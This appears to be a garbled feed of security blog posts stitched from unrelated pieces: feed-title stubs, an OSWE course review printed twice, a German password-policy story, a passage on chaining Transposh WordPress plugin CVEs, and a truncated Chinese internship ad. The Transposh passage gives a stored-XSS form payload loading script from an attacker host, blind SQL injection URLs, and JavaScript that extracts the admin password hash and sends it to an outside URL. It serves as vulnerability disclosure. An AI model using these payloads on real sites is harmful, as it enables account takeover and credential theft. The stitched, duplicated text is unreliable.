The post CVE-2022-25165:
Privilege Escalation to SYSTEM in AWS VPN Client appeared first on Rhino Security Labs.

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course provided by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

• Authentication Bypasses of all kinds
• Type Juggling
• SQL Injection
• Server-Side JavaScript Injection
• Deserialization
• Template Injection
• Cross-Site Scripting (this was unexpected in an RCE context!)
• Server-Side Request Forgery
• Prototype Pollution
• Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

• macOS Monterey 12.3.1
• Viscosity for the VPN connection
• Microsoft Remote Desktop to connect to the exam machines
• Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
• BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
• Python for all my scripting works

The exam machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

• Authentication Bypasses of all kinds
• Type Juggling
• SQL Injection
• Server-Side JavaScript Injection
• Deserialization
• Template Injection
• Cross-Site Scripting (this was unexpected in an RCE context!)
• Server-Side Request Forgery
• Prototype Pollution
• Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

• macOS Monterey 12.3.1
• Viscosity for the VPN connection
• Microsoft Remote Desktop to connect to the exam machines
• Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
• BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
• Python for all my scripting works

The exam machines come in a group of two, which means you’ll get one development machine to which you’ll have full access and one “production” machine which you don’t have complete access. You’ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.

The development machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

The post CloudGoat goes Serverless:
A walkthrough of Vulnerable Lambda Functions appeared first on Rhino Security Labs.

The post CVE-2022-25237: Bonitasoft Authorization Bypass and RCE appeared first on Rhino Security Labs.

The post CloudGoat detection_evasion Scenario:
Avoiding AWS Security Detection and Response appeared first on Rhino Security Labs.

it-sa Expo&Congress

Europas führende Fachmesse für IT-Sicherheit

25. – 27. Oktober 2022

NÜRNBERG

Wir sehen uns vom 25. – 27. Oktober in Nürnberg auf der it-sa 365 !

Was ist die it – sa Expo& Congress?

⇒ https://www.itsa365.de/de-de/it-sa-expo-congress/ueber-die-messe

Komm vorbei als Besucher!

⇒ https://www.itsa365.de/de-de/it-sa-expo-congress/besuchen

Wir sind zu finden:

⇒ Halle 6 ⇒ Stand 6 – 229

Der Beitrag HanseSecure auf der itsa 2022 erschien zuerst auf HanseSecure GmbH.

Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung

Ein gewöhnlicher Arbeitstag bei der Usability-First AG in München. Die 2000 Mitarbeiter arbeiten derzeit an zahlreichen Großprojekten und fokussieren entsprechend die Produktivität. Auch Nina Nixmerker ist in Ihrem Projekt vertieft. Am Samstagmorgen wählt sich Nina aus dem HomeOffice ein, um noch einige Projektabschnitte für Montag abzuschließen. Sie wundert sich kurz, dass Sie bei der Anmeldung ihre bestehende Session beenden muss, da Sie sich sicher ist, sich am Freitag noch regulär abgemeldet zu haben.

Am Montag stellte die IT fest, dass ihre Zugangsdaten nicht mehr funktionierten. Nachdem Sie sich mit dem Notfall-Admin Account angemeldet haben, mussten diese feststellen, dass sich keine Dateien mehr öffnen ließen und mit einer .locked-Dateiendung versehen waren. Nach wenigen Minuten startete ein Chatfenster bei dem Account der IT mit dem Hinweis, dass die Unternehmensdateien verschlüsselt seien und man ab 15 Uhr für die Verhandlungen zur Verfügung stünde.

Was ist passiert?

Das Unternehmen Usability-First hat es in den vergangenen Jahren versäumt eine Password Policy einzuführen, noch die Nutzer entsprechend zu sensibilisieren. Somit arbeiteten alle 2000 Mitarbeiter im Unternehmen mit der Default Windows Domain Policy, welche unter anderem folgende Werte vorgibt:

• Passwort Länge: 7 Zeichen
  Die Passwörter müssen mindestens 7 Zeichen lang sein, d.h. mit einer durchschnittlichen Gamer-Hardware kann ein Angreifer die Passwörter unter einem Tag knacken, wenn dieser Passwort-Hashes erlangt. Außerdem wird die Liste mögliche Passwörter, welche von den Nutzern verwendet werden, stark eingeschränkt was zum einen sogenannte Wörterbuch-Attacken begünstigt und zum anderen klassische Brute-Force Angriffe auf Login Funktionen.
• Lockout-Schwelle: Deaktiviert
  Ein Angreifer kann potentiell unendlich Login-Versuche auf die Accounts durchführen. Dies könnte an öffentlichen Diensten wie einen OWA oder M365 missbraucht werden, deutlich gravierender wäre jedoch, wenn ein Angreifer im internen Netzwerk Passwörter ausprobieren kann.

Aufgrund fehlender Awareness, Tools und Unternehmensvorgaben hatte Nina Nixmerker für alle Ihre Accounts das gleiche Passwort. Das Passwort Nina.N1! verwendete Sie sowohl auf Social Media wie Twitter, Instagram und Facebook, wie auch für Ihren Windows und VPN-Account.

Durch einen Datenleak bei Facebook wurde 2021 ihr Passwort offengelegt, wodurch Angreifer zunächst ihre privaten Accounts kompromittiert haben. Hierdurch stellten die Angreifer fest, dass Nina in einer mittleren Management Position in einem Umsatzstarken Unternehmen tätig war. Nachdem die Angreifer sich anschließend im Netzwerk angemeldet hatten, stellten diese fest, dass zahlreiche User (darunter auch der Domain Admin) den Usernamen als Passwort verwendeten, wodurch diese im Zeitraum von Freitagabend bis Montag das gesamte Unternehmen verschlüsseln konnten.

Was tun?

Es gibt grundsätzlich 4 einfache und eine mittelkomplexe Maßnahme zur Minimierung derartiger Risiken.

Passwort Safe

Kaum jemand kann sich mehr als eine Hand voll komplexer Passwörter merken. Wir sind der Überzeugung, dass Nutzer sich in der Regel nur 3 Passwörter merken müssen.

• Smartphone
• Windows/ Mac Login
• Passwort Safe

Alle weiteren Zugangsdaten werden in einem Passwort Safe erzeugt und verschlüsselt abgelegt. Bei der Auswahl des Tools solltet Ihr folgende Aspekte beachten:
Einfache Nutzung für die Nutzer (also Apps für Client, Smartphone und Plugin für Browser), Synchronisierung über Geräte und Rollen- und Rechtestruktur. Wir sind zusätzlich der Meinung, dass man Passwortsafes niemals in der Cloud hosten sollte, sollte immer eine OnPrem Lösung bevorzugen sollte.

Password Policy

Eine angemessene Password Policy im Unternehmen würde verhindern, dass sehr einfach und unbedacht Passwörter verwendet werden. Auch eine Lockout Sperre bei fehlgeschlagenen Anmeldeversuchen ist zwingend erforderlich. Wir empfehlen unseren Kunden folgende Konfiguration

• Passwortlänge: 12 Zeichen
• Passwortalter: 180 Tage
• Lockout-welle: 10 Versuche
• Lockout-Dauer: 6h
• Reset Lockout-Counter: 6h

Dies ist unsere Empfehlung aus zahlreichen Assessments der vergangenen Jahrzenten. Falls Ihr der Meinung seid, dass 14 Zeichen mit unendlichem Passwortalter die bessere Alternative ist, seid ihr herzlich eingeladen mit mir auf Twitter zu diskutieren

Awareness

Ohne ein grundlegendes Verständnis über Passwörter (Mehrfachverwendung – Datenleak, Identitätsdiebstahl, Schwache Passwörter, etc.) helfen die oben aufgeführten Maßnahmen nur bedingt. Deshalb sollten die Nutzer bezüglich dieses Themas (mindestens bei Onboarding im Idealfall 1x/Jahr) Informationen zu diesem Thema erhalten. Hier ein inhaltliches Beispiel für Tipps zum merken sicherer Passwörter -> Link auf Blogbeitrag

Audits

Sofern möglich, sollten mindestens die Passwörter in der Domain und bei öffentlichen (aus dem Internet erreichbar) Anwendungen jährlich überprüft werden. Bei Fragen, wie man dies im Idealfall prüft, sucht Euch einfach einen Dienstleister Eures Vertrauens

Sicherheitsgewinn

• hoch

*Aus der Blog-Serie Top Security QuickFails

Der Beitrag Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung erschien zuerst auf HanseSecure GmbH.

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

• [CVE-2021-24910] Transposh <= 1.0.7 “tp_tp” Unauthenticated Reflected Cross-Site Scripting
• [CVE-2021-24911] Transposh <= 1.0.7 “tp_translation” Unauthenticated Stored Cross-Site Scripting
• [CVE-2021-24912] Transposh <= 1.0.8.1 Multiple Cross-Site Request Forgeries
• [CVE-2022-2461] Transposh <= 1.0.8.1 “tp_translation” Weak Default Translation Permissions
• [CVE-2022-2462] Transposh <= 1.0.8.1 “tp_history” Unauthenticated Information Disclosure
• [CVE-2022-25810] Transposh <= 1.0.8.1 Improper Authorization Allowing Access to Administrative Utilities
• [CVE-2022-25811] Transposh <= 1.0.8.1 “tp_editor” Multiple Authenticated SQL Injections
• [CVE-2022-25812] Transposh <= 1.0.8.1 “save_transposh” Missing Logfile Extension Check Leading to Code Injection

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

• The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
• The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
• The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

• 46: the lowest end of the possible character set –> cur (current) value.
• 122: the upper end of the possible character set –> max (maximum) value.
• 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

DEVCORE 自 2012 成立以來已邁向第十年，我們很重視台灣的資安，也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快，但在漸漸站穩腳步的同時，我們仍不忘初衷：從 2020 開始在輔大、台科大成立資安獎學金；在 2021 年末擴大徵才，想找尋有著相同理念的人才一起奮鬥；今年年初，我們開始嘗試舉辦第一屆實習生計畫，希望培育人才、增強新世代的資安技能，最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫，如果您對這個計畫有興趣，歡迎來信報名！

實習內容

本次實習分為 Binary 及 Web 兩個組別，主要內容如下：

• Binary 以研究為主，在與導師確定研究標的後，分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路，找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪，體驗真實世界的漏洞都是如何利用。
  • 漏洞挖掘及研究 70 %
  • 1-day 開發 (Exploitation) 30 %
• Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法，需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab)，另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
  • 漏洞及攻擊手法研究 70%
  • 建置 Lab 30%

公司地點

